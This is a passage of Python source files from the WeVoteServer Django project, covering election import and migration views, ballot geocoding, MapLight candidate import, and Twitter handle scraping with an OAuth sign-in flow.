elections_import_from_master_server_view(request): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) state_code = request.GET.get('state_code', '') results = elections_import_from_master_server() if not results['success']: messages.add_message(request, messages.ERROR, results['status']) else: messages.add_message(request, messages.INFO, 'Elections import completed. ' 'Saved: {saved}, Updated: {updated}, ' 'Not processed: {not_processed}' ''.format(saved=results['saved'], updated=results['updated'], not_processed=results['not_processed'])) return HttpResponseRedirect(reverse('admin_tools:sync_dashboard', args=()) + "?google_civic_election_id=" + str(google_civic_election_id) + "&state_code=" + str(state_code)) @login_required() def election_migration_view(request): authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) election_manager = ElectionManager() we_vote_election = Election() office_list_manager = ContestOfficeListManager() candidate_list_manager = CandidateCampaignListManager() position_list_manager = PositionListManager() we_vote_election_office_list = [] google_civic_election_office_list = [] results = election_manager.retrieve_we_vote_elections() we_vote_election_list = results['election_list'] state_code_list = [] for election in we_vote_election_list: if election.state_code not in state_code_list: state_code_list.append(election.state_code) google_civic_election = Election() results = election_manager.retrieve_google_civic_elections_in_state_list(state_code_list) google_civic_election_list = results['election_list'] we_vote_election_id = convert_to_int(request.GET.get('we_vote_election_id', 0)) if not positive_value_exists(we_vote_election_id): we_vote_election_id = convert_to_int(request.POST.get('we_vote_election_id', 0)) if positive_value_exists(we_vote_election_id): results = election_manager.retrieve_election(we_vote_election_id) if results['election_found']: we_vote_election = results['election'] return_list_of_objects = True results = office_list_manager.retrieve_all_offices_for_upcoming_election(we_vote_election_id, return_list_of_objects) if results['office_list_found']: we_vote_election_office_list = results['office_list_objects'] # Go through each office and attach a list of candidates under this office we_vote_election_office_list_new = [] for one_office in we_vote_election_office_list: candidate_results = candidate_list_manager.retrieve_all_candidates_for_office(0, one_office.we_vote_id) if candidate_results['candidate_list_found']: candidate_list = candidate_results['candidate_list'] new_candidate_list = [] # Go through candidate_list and find the number of positions saved for each candidate for candidate in candidate_list: retrieve_public_positions = True # The alternate is positions for friends-only position_list = position_list_manager.retrieve_all_positions_for_candidate_campaign( retrieve_public_positions, 0, candidate.we_vote_id) candidate.position_count = len(position_list) # This is wasteful (instead of using count), but ok # Now find the candidates from the Google Civic Election that we might want to transfer data to new_candidate_list.append(candidate) one_office.candidate_list = new_candidate_list else: one_office.candidate_list = [] we_vote_election_office_list_new.append(one_office) google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) if not positive_value_exists(google_civic_election_id): google_civic_election_id = convert_to_int(request.POST.get('google_civic_election_id', 0)) if positive_value_exists(google_civic_election_id): results = election_manager.retrieve_election(google_civic_election_id) if results['election_found']: google_civic_election = results['election'] return_list_of_objects = True results = office_list_manager.retrieve_all_offices_for_upcoming_election(google_civic_election_id, return_list_of_objects) if results['office_list_found']: google_civic_election_office_list = results['office_list_objects'] # We want to transfer the transfer_array = {} transfer_array['wv01off1461'] = "wv02off269" template_values = { 'messages_on_stage': messages_on_stage, 'we_vote_election': we_vote_election, 'we_vote_election_id': we_vote_election_id, 'we_vote_election_list': we_vote_election_list, 'we_vote_election_office_list': we_vote_election_office_list_new, 'google_civic_election': google_civic_election, 'google_civic_election_id': google_civic_election_id, 'google_civic_election_list': google_civic_election_list, 'google_civic_election_office_list': google_civic_election_office_list, } return render(request, 'election/election_migration.html', template_values) ``` #### File: management/commands/save_ballot_coordinates.py ```python from django.core.management.base import BaseCommand from geopy.geocoders import get_geocoder_for_service from geopy.exc import GeocoderQuotaExceeded from ballot.models import BallotReturned class Command(BaseCommand): help = 'Populates the latitude and longitude fields of BallotReturned' def populate_latitude_for_ballots(self): for b in BallotReturned.objects.filter(latitude=None).order_by('id'): full_ballot_address = '{}, {}, {} {}'.format( b.normalized_line1, b.normalized_city, b.normalized_state, b.normalized_zip) location = self.google_client.geocode(full_ballot_address) if location is None: raise Exception('Could not find a location for ballot {}'.format(b.id)) b.latitude, b.longitude = location.latitude, location.longitude print('ballot {}, found latitude {}, longitude {}'.format(b.id, b.latitude, b.longitude)) b.save() def handle(self, *args, **options): self.google_client = get_geocoder_for_service('google')() while BallotReturned.objects.filter(latitude=None).exists(): try: self.populate_latitude_for_ballots() except GeocoderQuotaExceeded: self.google_client = get_geocoder_for_service('google')() print('Success! All BallotReturned objects now have latitude and longitude populated.') ``` #### File: WeVoteServer/import_export_maplight/controllers.py ```python from .models import MapLightContestOfficeManager, MapLightCandidateManager, MapLightContestOffice, \ MapLightCandidate, validate_maplight_date from exception.models import handle_record_not_saved_exception import json import wevote_functions.admin logger = wevote_functions.admin.get_logger(__name__) MAPLIGHT_SAMPLE_BALLOT_JSON_FILE = "import_export_maplight/import_data/maplight_sf_ballot_sample.json" MAPLIGHT_SAMPLE_CONTEST_JSON_FILE = "import_export_maplight/import_data/contest_{contest_id}.json" def import_maplight_from_json(request): load_from_url = False ballot_for_one_voter_array = [] if load_from_url: # Request json file from Maplight servers logger.debug("TO BE IMPLEMENTED: Load Maplight JSON from url") # request = requests.get(VOTER_INFO_URL, params={ # "key": GOOGLE_CIVIC_API_KEY, # This comes from an environment variable # "address": "254 Hartford Street San Francisco CA", # "electionId": "2000", # }) # structured_json = json.loads(request.text) else: # Load saved json from local file logger.debug("Loading Maplight sample JSON from local file") with open(MAPLIGHT_SAMPLE_BALLOT_JSON_FILE) as ballot_for_one_voter_json: ballot_for_one_voter_array = json.load(ballot_for_one_voter_json) # A MapLight ballot query is essentially an array of contests with the key as the contest_id if ballot_for_one_voter_array and len(ballot_for_one_voter_array): # Parse the JSON here. This JSON is a list of contests on the ballot for one voter. for contest_id in ballot_for_one_voter_array: # Get a description of the contest. Office? Measure? contest_overview_array = ballot_for_one_voter_array[contest_id] if contest_overview_array['type'] == "office": # Get a description of the office the candidates are competing for # contest_office_description_json = contest_overview_array['office'] # With the contest_id, we can look up who is running politicians_running_for_one_contest_array = [] if load_from_url: logger.debug("TO BE IMPLEMENTED: Load MapLight JSON for a contest from URL") else: json_file_with_the_data_from_this_contest = MAPLIGHT_SAMPLE_CONTEST_JSON_FILE.format( contest_id=contest_id) try: with open(json_file_with_the_data_from_this_contest) as json_data: politicians_running_for_one_contest_array = json.load(json_data) except Exception as e: logger.error("File {file_path} not found.".format( file_path=json_file_with_the_data_from_this_contest )) # Don't try to process the file if it doesn't exist, but go to the next entry continue import_maplight_contest_office_candidates_from_array(politicians_running_for_one_contest_array) # Also add measure return def import_maplight_contest_office_candidates_from_array(politicians_running_for_one_contest_array): maplight_contest_office_saved = False # Has the contest these politicians are running for been saved? maplight_contest_office_manager = MapLightContestOfficeManager() maplight_candidate_manager = MapLightCandidateManager() loop_count = 0 loop_count_limit = 1 for politician_id in politicians_running_for_one_contest_array: one_politician_array = politicians_running_for_one_contest_array[politician_id] # Save the office_contest so we can link the politicians to it first if not maplight_contest_office_saved: maplight_contest_office = MapLightContestOffice() if 'contest' in one_politician_array: maplight_contest_array = one_politician_array['contest'] if 'office' in maplight_contest_array: maplight_contest_office_array = maplight_contest_array['office'] if 'id' in maplight_contest_array: maplight_contest_id = maplight_contest_array['id'] maplight_contest_office = \ maplight_contest_office_manager.fetch_maplight_contest_office_from_id_maplight( maplight_contest_id) # If an internal identifier is found, then we know we have an object if maplight_contest_office.id: maplight_contest_office_saved = True # try: # maplight_contest_office.contest_id = maplight_contest_array['id'] # maplight_contest_office.election_date = maplight_contest_array['election_date'] # maplight_contest_office.title = maplight_contest_array['title'] # maplight_contest_office.type = maplight_contest_array['type'] # maplight_contest_office.url = maplight_contest_array['url'] # # Save into this db the 'office'? # # Save into this db the 'jurisdiction'? # maplight_contest_office.save() # maplight_contest_office_saved = True # # except Exception as e: # handle_record_not_saved_exception(e) else: try: maplight_contest_office = MapLightContestOffice( contest_id=maplight_contest_array['id'], election_date=maplight_contest_array['election_date'], title=maplight_contest_array['title'], type=maplight_contest_array['type'], url=maplight_contest_array['url'], ) # Save into this db the 'office'? # Save into this db the 'jurisdiction'? maplight_contest_office.save() maplight_contest_office_saved = True except Exception as e: handle_record_not_saved_exception(e, logger=logger) maplight_candidate = maplight_candidate_manager.fetch_maplight_candidate_from_candidate_id_maplight( one_politician_array['candidate_id']) if maplight_candidate.id: logger.warn(u"Candidate {display_name} previously saved".format( display_name=maplight_candidate.display_name )) else: # Not found in the MapLightCandidate database, so we need to save try: maplight_candidate = MapLightCandidate() maplight_candidate.politician_id = one_politician_array['politician_id'] maplight_candidate.candidate_id = one_politician_array['candidate_id'] maplight_candidate.display_name = one_politician_array['display_name'] maplight_candidate.original_name = one_politician_array['original_name'] maplight_candidate.gender = one_politician_array['gender'] maplight_candidate.first_name = one_politician_array['first_name'] maplight_candidate.middle_name = one_politician_array['middle_name'] maplight_candidate.last_name = one_politician_array['last_name'] maplight_candidate.name_prefix = one_politician_array['name_prefix'] maplight_candidate.name_suffix = one_politician_array['name_suffix'] maplight_candidate.bio = one_politician_array['bio'] maplight_candidate.party = one_politician_array['party'] maplight_candidate.candidate_flags = one_politician_array['candidate_flags'] if validate_maplight_date(one_politician_array['last_funding_update']): maplight_candidate.last_funding_update = one_politician_array['last_funding_update'] maplight_candidate.roster_name = one_politician_array['roster_name'] maplight_candidate.photo = one_politician_array['photo'] maplight_candidate.url = one_politician_array['url'] maplight_candidate.save() logger.info(u"Candidate {display_name} added".format( display_name=maplight_candidate.display_name )) except Exception as e: handle_record_not_saved_exception(e, logger=logger) # TODO: Now link the candidate to the contest ``` #### File: WeVoteServer/import_export_twitter/controllers.py ```python from .functions import retrieve_twitter_user_info from candidate.models import CandidateCampaignManager, CandidateCampaignListManager from config.base import get_environment_variable from organization.controllers import update_social_media_statistics_in_other_tables from organization.models import Organization, OrganizationManager import re from socket import timeout import tweepy import urllib.request from voter.models import VoterDeviceLinkManager, VoterManager import wevote_functions.admin from wevote_functions.functions import convert_to_int, extract_twitter_handle_from_text_string, \ is_voter_device_id_valid, positive_value_exists logger = wevote_functions.admin.get_logger(__name__) WE_VOTE_SERVER_ROOT_URL = get_environment_variable("WE_VOTE_SERVER_ROOT_URL") RE_FACEBOOK = r'//www\.facebook\.com/(?:#!/)?(\w+)' # RE_FACEBOOK = r'/(?:https?:\/\/)?(?:www\.)?facebook\.com\/(?:(?:\w)*#!\/)?(?:pages\/)?(?:[\w\-]*\/)*?(\/)?([^/?]*)/' FACEBOOK_BLACKLIST = ['group', 'group.php', 'None'] # NOTE: Scraping a website for the Facebook handle is more complicated than Twitter. There must be an existing # solution available? My attempt turned off for now. # Only pays attention to https://twitter.com or http://twitter.com and ignores www.twitter.com RE_TWITTER = r'//twitter\.com/(?:#!/)?(\w+)' TWITTER_BLACKLIST = ['home', 'https', 'intent', 'none', 'search', 'share', 'twitterapi'] TWITTER_CONSUMER_KEY = get_environment_variable("TWITTER_CONSUMER_KEY") TWITTER_CONSUMER_SECRET = get_environment_variable("TWITTER_CONSUMER_SECRET") TWITTER_ACCESS_TOKEN = get_environment_variable("TWITTER_ACCESS_TOKEN") TWITTER_ACCESS_TOKEN_SECRET = get_environment_variable("TWITTER_ACCESS_TOKEN_SECRET") class FakeFirefoxURLopener(urllib.request.FancyURLopener): version = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0)' \ + ' Gecko/20100101 Firefox/25.0' class GetOutOfLoop(Exception): pass class GetOutOfLoopLocal(Exception): pass def refresh_twitter_candidate_details(candidate_campaign): candidate_campaign_manager = CandidateCampaignManager() if not candidate_campaign: status = "TWITTER_CANDIDATE_DETAILS_NOT_RETRIEVED-CANDIDATE_MISSING" results = { 'success': False, 'status': status, } return results if candidate_campaign.candidate_twitter_handle: status = "TWITTER_CANDIDATE_DETAILS-REACHING_OUT_TO_TWITTER" results = retrieve_twitter_user_info(candidate_campaign.candidate_twitter_handle) if results['success']: status = "TWITTER_CANDIDATE_DETAILS_RETRIEVED_FROM_TWITTER" save_results = candidate_campaign_manager.update_candidate_twitter_details( candidate_campaign, results['twitter_json']) else: status = "TWITTER_CANDIDATE_DETAILS-CLEARING_DETAILS" save_results = candidate_campaign_manager.clear_candidate_twitter_details(candidate_campaign) results = { 'success': True, 'status': status, } return results def refresh_twitter_organization_details(organization): organization_manager = OrganizationManager() if not organization: status = "ORGANIZATION_TWITTER_DETAILS_NOT_RETRIEVED-ORG_MISSING" results = { 'success': False, 'status': status, } return results if organization.organization_twitter_handle: status = "ORGANIZATION_TWITTER_DETAILS-REACHING_OUT_TO_TWITTER" results = retrieve_twitter_user_info(organization.organization_twitter_handle) if results['success']: status = "ORGANIZATION_TWITTER_DETAILS_RETRIEVED_FROM_TWITTER" save_results = organization_manager.update_organization_twitter_details( organization, results['twitter_json']) if save_results['success']: results = update_social_media_statistics_in_other_tables(organization) status = "ORGANIZATION_TWITTER_DETAILS_RETRIEVED_FROM_TWITTER_AND_SAVED" else: status = "ORGANIZATION_TWITTER_DETAILS-CLEARING_DETAILS" save_results = organization_manager.clear_organization_twitter_details(organization) if save_results['success']: results = update_social_media_statistics_in_other_tables(organization) status = "ORGANIZATION_TWITTER_DETAILS_CLEARED_FROM_DB" results = { 'success': True, 'status': status, } return results def scrape_social_media_from_one_site(site_url): twitter_handle = '' twitter_handle_found = False facebook_page = '' facebook_page_found = False success = False if len(site_url) < 10: status = 'PROPER_URL_NOT_PROVIDED: ' + site_url results = { 'status': status, 'success': success, 'twitter_handle': twitter_handle, 'twitter_handle_found': twitter_handle_found, 'facebook_page': facebook_page, 'facebook_page_found': facebook_page_found, } return results urllib._urlopener = FakeFirefoxURLopener() headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11', } # 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', # 'Accept-Encoding': 'none', # 'Accept-Language': 'en-US,en;q=0.8', # 'Connection': 'keep-alive' # 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3', try: request = urllib.request.Request(site_url, None, headers) page = urllib.request.urlopen(request, timeout=5) for line in page.readlines(): try: if not twitter_handle_found: for m in re.finditer(RE_TWITTER, line.decode()): if m: name = m.group(1) if name not in TWITTER_BLACKLIST: twitter_handle = name twitter_handle_found = True raise GetOutOfLoopLocal except GetOutOfLoopLocal: pass # SEE NOTE ABOUT FACEBOOK SCRAPING ABOVE # try: # if not facebook_page_found: # for m2 in re.finditer(RE_FACEBOOK, line.decode()): # if m2: # possible_page1 = m2.group(1) # if possible_page1 not in FACEBOOK_BLACKLIST: # facebook_page = possible_page1 # facebook_page_found = True # raise GetOutOfLoopLocal # try: # possible_page2 = m2.group(2) # if possible_page2 not in FACEBOOK_BLACKLIST: # facebook_page = possible_page2 # facebook_page_found = True # raise GetOutOfLoopLocal # # ATTEMPT 1 # # start_of_close_tag_index = possible_page2.find('"') # # possible_page2 = possible_page2[:start_of_close_tag_index] # # ATTEMPT 2 # # fb_re = re.compile(r'facebook.com([^"]+)') # # results = fb_re.findall(possible_page2) # except Exception as error_instance: # pass # # possible_page3 = m2.group(3) # # possible_page4 = m2.group(4) # except GetOutOfLoopLocal: # pass if twitter_handle_found: # and facebook_page_found: raise GetOutOfLoop success = True status = 'FINISHED_SCRAPING_PAGE' except timeout: status = "SCRAPE_TIMEOUT_ERROR" success = False except GetOutOfLoop: success = True status = 'TWITTER_HANDLE_FOUND-BREAK_OUT' except IOError as error_instance: # Catch the error message coming back from urllib.request.urlopen and pass it in the status error_message = error_instance status = "SCRAPE_SOCIAL_IO_ERROR: {error_message}".format(error_message=error_message) success = False except Exception as error_instance: error_message = error_instance status = "SCRAPE_GENERAL_EXCEPTION_ERROR: {error_message}".format(error_message=error_message) success = False results = { 'status': status, 'success': success, 'page_redirected': twitter_handle, 'twitter_handle': twitter_handle, 'twitter_handle_found': twitter_handle_found, 'facebook_page': facebook_page, 'facebook_page_found': facebook_page_found, } return results def scrape_and_save_social_media_from_all_organizations(state_code='', force_retrieve=False): facebook_pages_found = 0 twitter_handles_found = 0 organization_manager = OrganizationManager() organization_list_query = Organization.objects.order_by('organization_name') if positive_value_exists(state_code): organization_list_query = organization_list_query.filter(state_served_code=state_code) organization_list = organization_list_query for organization in organization_list: twitter_handle = False facebook_page = False if not organization.organization_website: continue if (not positive_value_exists(organization.organization_twitter_handle)) or force_retrieve: scrape_results = scrape_social_media_from_one_site(organization.organization_website) # Only include a change if we have a new value (do not try to save blank value) if scrape_results['twitter_handle_found'] and positive_value_exists(scrape_results['twitter_handle']): twitter_handle = scrape_results['twitter_handle'] twitter_handles_found += 1 if scrape_results['facebook_page_found'] and positive_value_exists(scrape_results['facebook_page']): facebook_page = scrape_results['facebook_page'] facebook_pages_found += 1 save_results = organization_manager.update_organization_social_media(organization, twitter_handle, facebook_page) # ###################################### # We refresh the Twitter information in another function status = "ORGANIZATION_SOCIAL_MEDIA_SCRAPED" results = { 'success': True, 'status': status, 'twitter_handles_found': twitter_handles_found, 'facebook_pages_found': facebook_pages_found, } return results def retrieve_twitter_data_for_all_organizations(state_code='', google_civic_election_id=0, first_retrieve_only=False): number_of_twitter_accounts_queried = 0 number_of_organizations_updated = 0 organization_manager = OrganizationManager() organization_list_query = Organization.objects.order_by('organization_name') if positive_value_exists(state_code): organization_list_query = organization_list_query.filter(state_served_code=state_code) # TODO DALE limit this to organizations that have a voter guide in a particular election organization_list = organization_list_query for organization in organization_list: # ###################################### # If we have a Twitter handle for this org, refresh the data if organization.organization_twitter_handle: retrieved_twitter_data = False if first_retrieve_only: if not positive_value_exists(organization.twitter_followers_count): results = retrieve_twitter_user_info(organization.organization_twitter_handle) retrieved_twitter_data = results['success'] number_of_twitter_accounts_queried += 1 else: results = retrieve_twitter_user_info(organization.organization_twitter_handle) retrieved_twitter_data = results['success'] number_of_twitter_accounts_queried += 1 if retrieved_twitter_data: number_of_organizations_updated += 1 save_results = organization_manager.update_organization_twitter_details( organization, results['twitter_json']) if save_results['success']: results = update_social_media_statistics_in_other_tables(organization) status = "ALL_ORGANIZATION_TWITTER_DATA_RETRIEVED" results = { 'success': True, 'status': status, 'number_of_twitter_accounts_queried': number_of_twitter_accounts_queried, 'number_of_organizations_updated': number_of_organizations_updated, } return results def scrape_and_save_social_media_for_candidates_in_one_election(google_civic_election_id=0): facebook_pages_found = 0 twitter_handles_found = 0 force_retrieve = False status = "" google_civic_election_id = convert_to_int(google_civic_election_id) candidate_manager = CandidateCampaignManager() candidate_list_manager = CandidateCampaignListManager() return_list_of_objects = True results = candidate_list_manager.retrieve_all_candidates_for_upcoming_election(google_civic_election_id, return_list_of_objects) status += results['status'] if results['success']: candidate_list = results['candidate_list_objects'] else: candidate_list = [] for candidate in candidate_list: twitter_handle = False facebook_page = False if not candidate.candidate_url: continue if (not positive_value_exists(candidate.candidate_twitter_handle)) or force_retrieve: scrape_results = scrape_social_media_from_one_site(candidate.candidate_url) # Only include a change if we have a new value (do not try to save blank value) if scrape_results['twitter_handle_found'] and positive_value_exists(scrape_results['twitter_handle']): twitter_handle = scrape_results['twitter_handle'] twitter_handles_found += 1 if scrape_results['facebook_page_found'] and positive_value_exists(scrape_results['facebook_page']): facebook_page = scrape_results['facebook_page'] facebook_pages_found += 1 save_results = candidate_manager.update_candidate_social_media(candidate, twitter_handle, facebook_page) # ###################################### # We refresh the Twitter information in another function status = "ORGANIZATION_SOCIAL_MEDIA_RETRIEVED" results = { 'success': True, 'status': status, 'twitter_handles_found': twitter_handles_found, 'facebook_pages_found': facebook_pages_found, } return results def refresh_twitter_candidate_details_for_election(google_civic_election_id): twitter_handles_added = 0 profiles_refreshed_with_twitter_data = 0 google_civic_election_id = convert_to_int(google_civic_election_id) candidate_list_manager = CandidateCampaignListManager() return_list_of_objects = True candidates_results = candidate_list_manager.retrieve_all_candidates_for_upcoming_election( google_civic_election_id, return_list_of_objects) if candidates_results['candidate_list_found']: candidate_list = candidates_results['candidate_list_objects'] for candidate in candidate_list: # Extract twitter_handle from google_civic_election information if positive_value_exists(candidate.twitter_url) \ and not positive_value_exists(candidate.candidate_twitter_handle): # If we got a twitter_url from Google Civic, and we haven't already stored a twitter handle, move it candidate.candidate_twitter_handle = extract_twitter_handle_from_text_string(candidate.twitter_url) candidate.save() twitter_handles_added += 1 if positive_value_exists(candidate.candidate_twitter_handle): refresh_twitter_candidate_details(candidate) profiles_refreshed_with_twitter_data += 1 status = "CANDIDATE_SOCIAL_MEDIA_RETRIEVED" results = { 'success': True, 'status': status, 'twitter_handles_added': twitter_handles_added, 'profiles_refreshed_with_twitter_data': profiles_refreshed_with_twitter_data, } return results def transfer_candidate_twitter_handles_from_google_civic(google_civic_election_id=0): twitter_handles_transferred = 0 status = "" google_civic_election_id = convert_to_int(google_civic_election_id) candidate_list_object = CandidateCampaignListManager() return_list_of_objects = True results = candidate_list_object.retrieve_all_candidates_for_upcoming_election(google_civic_election_id, return_list_of_objects) status += results['status'] if results['success']: candidate_list = results['candidate_list_objects'] else: candidate_list = [] for candidate in candidate_list: if not candidate.twitter_url: continue # Only proceed if we don't already have a twitter_handle if not positive_value_exists(candidate.candidate_twitter_handle): candidate.candidate_twitter_handle = candidate.twitter_url.replace("https://twitter.com/", "") candidate.save() twitter_handles_transferred += 1 # ###################################### # We refresh the Twitter information in another function status += " CANDIDATE_TWITTER_HANDLES_TRANSFERRED" results = { 'success': True, 'status': status, 'twitter_handles_transferred': twitter_handles_transferred, } return results def twitter_sign_in_start_for_api(voter_device_id, return_url): # twitterSignInStart """ :param voter_device_id: :param return_url: Where to direct the browser at the very end of the process :return: """ # Get voter_id from the voter_device_id results = is_voter_device_id_valid(voter_device_id) if not results['success']: results = { 'success': False, 'status': "VALID_VOTER_DEVICE_ID_MISSING", 'voter_device_id': voter_device_id, 'twitter_redirect_url': '', 'voter_info_retrieved': False, 'switch_accounts': False, } return results voter_manager = VoterManager() results = voter_manager.retrieve_voter_from_voter_device_id(voter_device_id) if not positive_value_exists(results['voter_found']): results = { 'status': "VALID_VOTER_MISSING", 'success': False, 'voter_device_id': voter_device_id, 'twitter_redirect_url': '', 'voter_info_retrieved': False, 'switch_accounts': False, } return results voter = results['voter'] if voter.twitter_access_token and voter.twitter_access_secret: # If here the voter might already be signed in, so we don't want to ask them to approve again auth = tweepy.OAuthHandler(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET) auth.set_access_token(voter.twitter_access_token, voter.twitter_access_secret) api = tweepy.API(auth) try: tweepy_user_object = api.me() success = True # What is the error situation where the twitter_access_token and twitter_access_secret are no longer valid? # We need to deal with this (wipe them from the database and rewind to the right place in the process except tweepy.RateLimitError: success = False status = 'TWITTER_RATE_LIMIT_ERROR' except tweepy.error.TweepError as error_instance: success = False status = '' error_tuple = error_instance.args for error_dict in error_tuple: for one_error in error_dict: status += '[' + one_error['message'] + '] ' if success: # Reach out to the twitterSignInRequestVoterInfo -- no need to redirect empty_return_url = "" voter_info_results = twitter_sign_in_request_voter_info_for_api(voter_device_id, empty_return_url) success = voter_info_results['success'] status = "SKIPPED_AUTH_DIRECT_REQUEST_VOTER_INFO: " + voter_info_results['status'] results = { 'status': status, 'success': success, 'voter_device_id': voter_device_id, 'twitter_redirect_url': '', 'voter_info_retrieved': voter_info_results['voter_info_retrieved'], 'switch_accounts': voter_info_results['switch_accounts'], # If true, new voter_device_id returned } return results else: # Somehow reset tokens and start over. pass callback_url = WE_VOTE_SERVER_ROOT_URL + "/apis/v1/twitterSignInRequestAccessToken/" callback_url += "?voter_device_id=" + voter_device_id callback_url += "&return_url=" + return_url # This is where twitter_authorization_url = '' try: # We take the Consumer Key and the Consumer Secret, and request a token & token_secret auth = tweepy.OAuthHandler(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET, callback_url) twitter_authorization_url = auth.get_authorization_url() request_token_dict = auth.request_token twitter_request_token = '' twitter_request_token_secret = '' if 'oauth_token' in request_token_dict: twitter_request_token = request_token_dict['oauth_token'] if 'oauth_token_secret' in request_token_dict: twitter_request_token_secret = request_token_dict['oauth_token_secret'] # We save these values in the Voter table, and then return a twitter_authorization_url where the voter signs in # Once they sign in to the Twitter login, they are redirected back to the We Vote callback_url # On that callback_url page, we are told if they are signed in # on Twitter or not, and capture an access key we can use to retrieve information about the Twitter user # NOTE: Regarding the callback url, I think this can just be a direct call to the API server, # since we have the voter_device_id if positive_value_exists(twitter_request_token) and positive_value_exists(twitter_request_token_secret): voter.twitter_request_token = twitter_request_token voter.twitter_request_secret = twitter_request_token_secret voter.save() success = True status = "TWITTER_REDIRECT_URL_RETRIEVED" else: success = False status = "TWITTER_REDIRECT_URL_NOT_RETRIEVED" except tweepy.RateLimitError: success = False status = 'TWITTER_RATE_LIMIT_ERROR' except tweepy.error.TweepError as error_instance: success = False status = 'TWITTER_SIGN_IN_START: ' error_tuple = error_instance.args for error_dict in error_tuple: for one_error in error_dict: status += '[' + one_error['message'] + '] ' if success: results = { 'status': status, 'success': True, 'voter_device_id': voter_device_id, 'twitter_redirect_url': twitter_authorization_url, 'voter_info_retrieved': False, 'switch_accounts': False, } else: results = { 'status': status, 'success': False, 'voter_device_id': voter_device_id, 'twitter_redirect_url': '', 'voter_info_retrieved': False, 'switch_accounts': False, } return results def twitter_sign_in_request_access_token_for_api(voter_device_id, incoming_request_token, incoming_oauth_verifier, return_url): """ twitterSignInRequestAccessToken After signing in and agreeing to the application's terms, the user is redirected back to the application with the same request token and another value, this time the OAuth verifier. Within this function we use 1) the request token and 2) request secret along with the 3) OAuth verifier to get an access token, also from Twitter. :param voter_device_id: :param incoming_request_token: :param incoming_oauth_verifier: :param return_url: If a value is provided, return to this URL when the whole process is complete :return: """ # Get voter_id from the voter_device_id results = is_voter_device_id_valid(voter_device_id) if not results['success']: results = { 'success': False, 'status': "VALID_VOTER_DEVICE_ID_MISSING", 'voter_device_id': voter_device_id, 'access_token_and_secret_returned': False, 'return_url': return_url, } return results voter_manager = VoterManager() results = voter_manager.retrieve_voter_from_voter_device_id(voter_device_id) if not positive_value_exists(results['voter_found']): results = { 'status': "VALID_VOTER_MISSING", 'success': False, 'voter_device_id': voter_device_id, 'access_token_and_secret_returned': False, 'return_url': return_url, } return results voter = results['voter'] if not voter.twitter_request_token == incoming_request_token: results = { 'status': "TWITTER_REQUEST_TOKEN_DOES_NOT_MATCH_STORED_VOTER_VALUE", 'success': False, 'voter_device_id': voter_device_id, 'access_token_and_secret_returned': False, 'return_url': return_url, } return results twitter_access_token = '' twitter_access_token_secret = '' try: # We take the Request Token, Request Secret, and OAuth Verifier and request an access_token auth = tweepy.OAuthHandler(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET) auth.request_token = {'oauth_token': voter.twitter_request_token, 'oauth_token_secret': voter.twitter_request_secret} auth.get_access_token(incoming_oauth_verifier) if positive_value_exists(auth.access_token) and positive_value_exists(auth.access_token_secret): twitter_access_token = auth.access_token twitter_access_token_secret = auth.access_token_secret except tweepy.RateLimitError: success = False status = 'TWITTER_RATE_LIMIT_ERROR' except tweepy.error.TweepError as error_instance: success = False status = 'TWITTER_SIGN_IN_REQUEST_ACCESS_TOKEN: ' error_tuple = error_instance.args for error_dict in error_tuple: count = 0 # for one_error in error_dict: # status += '[' + one_error[count] + '] ' # count += 1 try: # We save these values in the Voter table if positive_value_exists(twitter_access_token) and positive_value_exists(twitter_access_token_secret): voter.twitter_access_token = twitter_access_token voter.twitter_access_secret = twitter_access_token_secret voter.save() success = True status = "TWITTER_ACCESS_TOKEN_RETRIEVED_AND_SAVED" else: success = False status = "TWITTER_ACCESS_TOKEN_NOT_RETRIEVED" except Exception as e: success = False status = "TWITTER_ACCESS_TOKEN_NOT_SAVED" if success: results = { 'status': status, 'success': True, 'voter_device_id': voter_device_id, 'access_token_and_secret_returned': True, 'return_url': return_url, } else: results = { 'status': status, 'success': False, 'voter_device_id': voter_device_id, 'access_token_and_secret_returned': False, 'return_url': return_url, } return results def twitter_sign_in_request_voter_info_for_api(voter_device_id, return_url, switch_accounts_if_needed=True): """ twitterSignInRequestVoterInfo When here, the incoming voter_device_id should already be authenticated :param voter_device_id: :param return_url: Where to return the browser when sign in process is complete :param switch_accounts_if_needed: :return: """ twitter_handle = '' twitter_handle_found = False tweepy_user_object = None twitter_user_object_found = False voter_info_retrieved = False switch_accounts = False # Get voter_id from the voter_device_id results = is_voter_device_id_valid(voter_device_id) if not results['success']: results = { 'success': False, 'status': "VALID_VOTER_DEVICE_ID_MISSING", 'voter_device_id': voter_device_id, 'twitter_handle': twitter_handle, 'twitter_handle_found': twitter_handle_found, 'voter_info_retrieved': voter_info_retrieved, 'switch_accounts': switch_accounts, 'return_url': return_url, } return results voter_manager = VoterManager() results = voter_manager.retrieve_voter_from_voter_device_id(voter_device_id) if not positive_value_exists(results['voter_found']): results = { 'status': "VALID_VOTER_MISSING", 'success': False, 'voter_device_id': voter_device_id, 'twitter_handle': twitter_handle, 'twitter_handle_found': twitter_handle_found, 'voter_info_retrieved': voter_info_retrieved, 'switch_accounts': switch_accounts, 'return_url': return_url, } return results voter = results['voter'] auth = tweepy.OAuthHandler(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET) auth.set_access_token(voter.twitter_access_token, voter.twitter_access_secret) api = tweepy.API(auth) try: tweepy_user_object = api.me() twitter_json = tweepy_user_object._json success = True status = 'TWITTER_SIGN_IN_REQUEST_VOTER_INFO_SUCCESSFUL' twitter_handle = tweepy_user_object.screen_name twitter_handle_found = True twitter_user_object_found = True except tweepy.RateLimitError: success = False status = 'TWITTER_SIGN_IN_REQUEST_VOTER_INFO_RATE_LIMIT_ERROR' except tweepy.error.TweepError as error_instance: success = False status = 